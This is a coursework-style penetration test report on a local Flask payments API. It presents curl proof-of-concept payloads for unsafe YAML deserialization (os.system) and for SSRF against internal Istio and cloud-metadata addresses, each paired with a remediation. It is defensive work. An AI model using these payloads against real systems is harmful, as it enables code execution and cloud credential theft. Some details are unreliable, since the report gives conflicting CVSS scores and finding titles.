

Task 4 Part B - Penetration Test Report

Task 4 Part B — Web Application Penetration Test Report

Target: ledger-api (local deployment, <http://localhost:9090>)

Authorization: The ledger-api starter repo is explicitly authorized for active testing per the assessment's rules of engagement. No production or third-party hosts were tested.

Date: 2026-07-29

Tester: Sowmiya Manikandan

Methodology: Black-box, unauthenticated, manual testing + targeted tool-assisted validation

Executive Summary

ledger-api is a Flask-based payments microservice handling cardholder-adjacent data. Active testing against the local deployment identified **4 confirmed vulnerabilities** ranging from Critical to High severity. The most severe finding is a combination of unsafe YAML deserialization (CVE-2020-1747) and Server-Side Request Forgery that, chained together, could allow an attacker to achieve Remote Code Execution and pivot to internal infrastructure in a real deployment. Full unmasked PANs (Primary Account Numbers) are returned by the `/transactions` endpoint — a direct PCI DSS violation independent of any other finding.

The good news: the infrastructure hardening applied in Task 1 (seccomp RuntimeDefault, read-only filesystem, dropped capabilities) demonstrably **mitigated** the RCE impact during testing — subprocess execution was blocked by the seccomp profile even though the vulnerable code path was reached. This is defense-in-depth working as intended.

#	Title	Severity	CVSS Score	Status
F-01	Unsafe YAML Deserialization (RCE)	Critical	9.8	Confirmed vulnerable; RCE mitigated by seccomp
F-02	Server-Side Request Forgery (SSRF)	High	8.6	Confirmed exploitable
F-03	Full PAN Exposure in API Response	Critical	9.1	Confirmed
F-04	Sensitive Data in Error Responses	Low	3.1	Confirmed

Methodology

1. Reviewed source code (app/app.py) for high-risk patterns
 2. Confirmed attack surface via endpoint enumeration (/health, /tokenize, /transactions, /import, /fetch)
 3. Tested each endpoint manually using curl with targeted payloads
 4. Cross-referenced with SAST findings (Semgrep) and SCA findings (Trivy) from Task 2 pipeline
 5. Documented each finding with reproduction steps, impact, and remediation
-

Findings

F-01 — Unsafe YAML Deserialization (Potential RCE)

Severity: Critical

CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS Score: 9.8

Endpoint: POST /import

CVEs: CVE-2020-1747, CVE-2019-20477, CVE-2020-14343 (PyYAML 5.1)

Description:

The /import endpoint passes raw request body directly to `yaml.load()` without specifying a safe Loader. PyYAML's default loader allows arbitrary Python object instantiation via specially crafted YAML tags (`!!python/object/apply`, `!!python/object/new`), enabling remote code execution.

Vulnerable code (app/app.py, line 39):

```
@app.route("/import", methods=["POST"])
def import_config():
    config = yaml.load(request.data)    # ← no Loader specified → unsafe
    return jsonify(loaded=str(config))
```

Proof of Concept:

```
# Control test – normal YAML parses fine:
curl -s -X POST http://localhost:9090/import \
  -H "Content-Type: application/x-yaml" \
  --data-binary '$key: value\nname: test'
# Response: {"loaded": "{key: 'value', name: 'test'}"}

# RCE payload (vulnerable path reached, blocked at OS level by seccomp):
curl -s -X POST http://localhost:9090/import \
  -H "Content-Type: application/x-yaml" \
  --data-binary @/tmp/yaml-rce.yaml    # contains:
!!python/object/apply:os.system ["id"]
# Response: HTTP 500 (deserialization attempted, os.system blocked by seccompProfile:RuntimeDefault)
```

Impact:

In an unmitigated deployment (no seccomp, no dropped capabilities), this would allow a remote unauthenticated attacker to execute arbitrary OS commands as the application user. Given the service handles cardholder data, successful exploitation could lead to full PCI cardholder data environment (CDE) compromise.

Mitigating control (Task 1): The `seccompProfile: RuntimeDefault` applied in Task 1 blocked the `execve` syscall that `os.system/subprocess` require — the vulnerable code path was reached but OS command execution was prevented. This is defense-in-depth functioning correctly, but the underlying vulnerability still exists.

Remediation:

```
# Replace:
config = yaml.load(request.data)
# With:
config = yaml.safe_load(request.data)
# Also upgrade PyYAML to >= 6.0 in requirements.txt
```

F-02 — Server-Side Request Forgery (SSRF)

Severity: High

CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

CVSS Score: 8.6

Endpoint: GET /fetch?url=<attacker-controlled-url>

Description:

The /fetch endpoint accepts an arbitrary URL parameter and makes a server-side HTTP request to it without any validation of scheme, host, or allowed destinations. This allows an attacker to use the server as a proxy to reach internal services not directly accessible from the internet.

Vulnerable code (app/app.py, lines 44-46):

```
@app.route("/fetch")
def fetch():
    url = request.args.get("url", "")
    resp = requests.get(url, timeout=5) # ← no allowlist, no
    # scheme validation
    return jsonify(status_code=resp.status_code,
body=resp.text[:2048])
```

Proof of Concept — reaching internal Istio control plane:

```
curl -s "http://localhost:9090/fetch?url=http://istiod.istio-
system.svc.cluster.local:15014/debug/endpointz"
# Response:
# {"body": "", "status_code": 401}
```

The 401 response confirms the SSRF reached istiod's internal debug endpoint (istio-system namespace) — a service that should never be reachable from application code. The 401 is istiod refusing the unauthenticated request, but the *network reach* is the vulnerability.

Proof of Concept — cloud metadata (relevant in real deployments):

```
curl -s "http://localhost:9090/fetch?url=http://169.254.169.254/latest/meta-data/"
# Response: {"body": "...", "status_code": 503}
# (503 in local/kind cluster — no metadata service; in AWS/GCP this
returns IAM credentials)
```

Impact:

In a production cloud deployment, this SSRF would allow an unauthenticated attacker to retrieve cloud provider IAM credentials from the instance metadata service (169.254.169.254), enabling privilege escalation to cloud-level access. Even in the current deployment, it reaches internal cluster services (Istio, Kubernetes API) that should be completely isolated from application code.

Chaining with F-01: An attacker could use the SSRF to enumerate internal services first, then use the YAML deserialization RCE to pivot deeper. Together these two findings form a critical attack chain: SSRF for internal reconnaissance → deserialization for code execution.

Remediation:

```
from urllib.parse import urlparse
ALLOWED_HOSTS = {"api.external-partner.com"} # explicit allowlist
```

```

@app.route("/fetch")
def fetch():
    url = request.args.get("url", "")
    parsed = urlparse(url)
    if parsed.hostname not in ALLOWED_HOSTS or parsed.scheme !=
"https":
        return jsonify(error="URL not permitted"), 403
    resp = requests.get(url, timeout=5)
    return jsonify(status_code=resp.status_code,
body=resp.text[:2048])

```

F-03 — Full PAN Exposure in API Response (PCI DSS Violation)

Severity: Critical

CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVSS Score: 7.5 (elevated to Critical in PCI DSS context)

Endpoint: GET /transactions

Description:

The /transactions endpoint returns full, unmasked Primary Account Numbers (PANs) for every transaction in the ledger. PCI DSS Requirement 3.3 prohibits storing or displaying full PANs beyond the point of authorization; at most, only the first 6 and last 4 digits may be displayed.

Proof of Concept:

```

curl -s http://localhost:9090/transactions

{
  "transactions": [
    {
      "id": "txn_1001",
      "pan": "4242424242424242", ← full 16-digit PAN exposed
      "amount": 4200,
      "currency": "USD",
      "status": "captured"
    },
    {
      "id": "txn_1002",
      "pan": "5555555555554444", ← full 16-digit PAN exposed
      "amount": 1899,
      "currency": "EUR",
      "status": "refunded"
    }
  ]
}

```

Impact:

Any authenticated (or unauthenticated, as in this case) caller can retrieve full PANs for all transactions. This is a direct PCI DSS v4.0 Requirement 3.3 violation and would result in a failed QSA audit. In a real deployment with real cardholder data, this constitutes a data breach.

Note the irony: the /tokenize endpoint correctly returns only the last 4 digits and an opaque token — the protection exists for new transactions but is completely bypassed by querying the ledger directly.

Remediation:

```

@app.route("/transactions")
def transactions():
    masked = []
    for txn in LEDGER:

```

```

t = txn.copy()
pan = t.get("pan", "")
t["pan"] = f"{'*' * (len(pan)-4)}{pan[-4:]}" # mask all but
last 4
masked.append(t)
return jsonify(transactions=masked)

```

F-04 — Technology/Version Disclosure in Server Header

Severity: Low

CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CVSS Score: 3.1

Endpoint: All endpoints

Description:

Every response includes Server: Werkzeug/0.14.1 Python/3.6.15 — disclosing the exact web framework version and Python version. Werkzeug 0.14.1 and Python 3.6 are both End-of-Life and have known CVEs, making version disclosure directly actionable for an attacker.

Proof of Concept:

```

curl -I http://localhost:9090/health
# Server: Werkzeug/0.14.1 Python/3.6.15

```

Remediation: Set SERVER_NAME to suppress the header, or proxy through Nginx/Envoy which strips/replaces it. Upgrade to a supported Python/Flask/Werkzeug version.

Risk Ranking

Rank	Finding	Rationale
1	F-01 + F-02 (chained)	SSRF for recon + RCE for code execution = full CDE compromise in production
2	F-03	Direct PCI DSS violation, data breach risk, no exploitation required
3	F-01 (standalone)	RCE without SSRF chaining, mitigated in current deployment by seccomp
4	F-02 (standalone)	Internal service reach and cloud credential theft in production
5	F-04	Low impact, aids further exploitation

Mapping to Defensive Controls (Tasks 1-3)

Finding	Task 1-3 control that stops/mitigates it
	seccompProfile: RuntimeDefault

F-01 RCE	(Task 1) blocks <code>execve</code> syscall — mitigates execution even if code is reached
F-01 RCE	<code>readOnlyRootFilesystem: true</code> (Task 1) prevents writing malicious files to disk
F-01 RCE	<code>capabilities: drop: ALL</code> (Task 1) removes capabilities needed for privilege escalation post-RCE
F-02 SSRF	Istio <code>AuthorizationPolicy</code> (Task 3) restricts which services <code>ledger-api</code> can be <i>called by</i> , but does NOT restrict outbound calls the app makes itself — SSRF is not mitigated by current controls
F-02 SSRF	An egress <code>NetworkPolicy</code> (not yet implemented) would block outbound calls to unexpected internal services
F-03 PAN	No current control mitigates this — it requires a code fix
F-04	Istio sidecar (Task 3) rewrites the server header to <code>envoy</code> for external-facing traffic
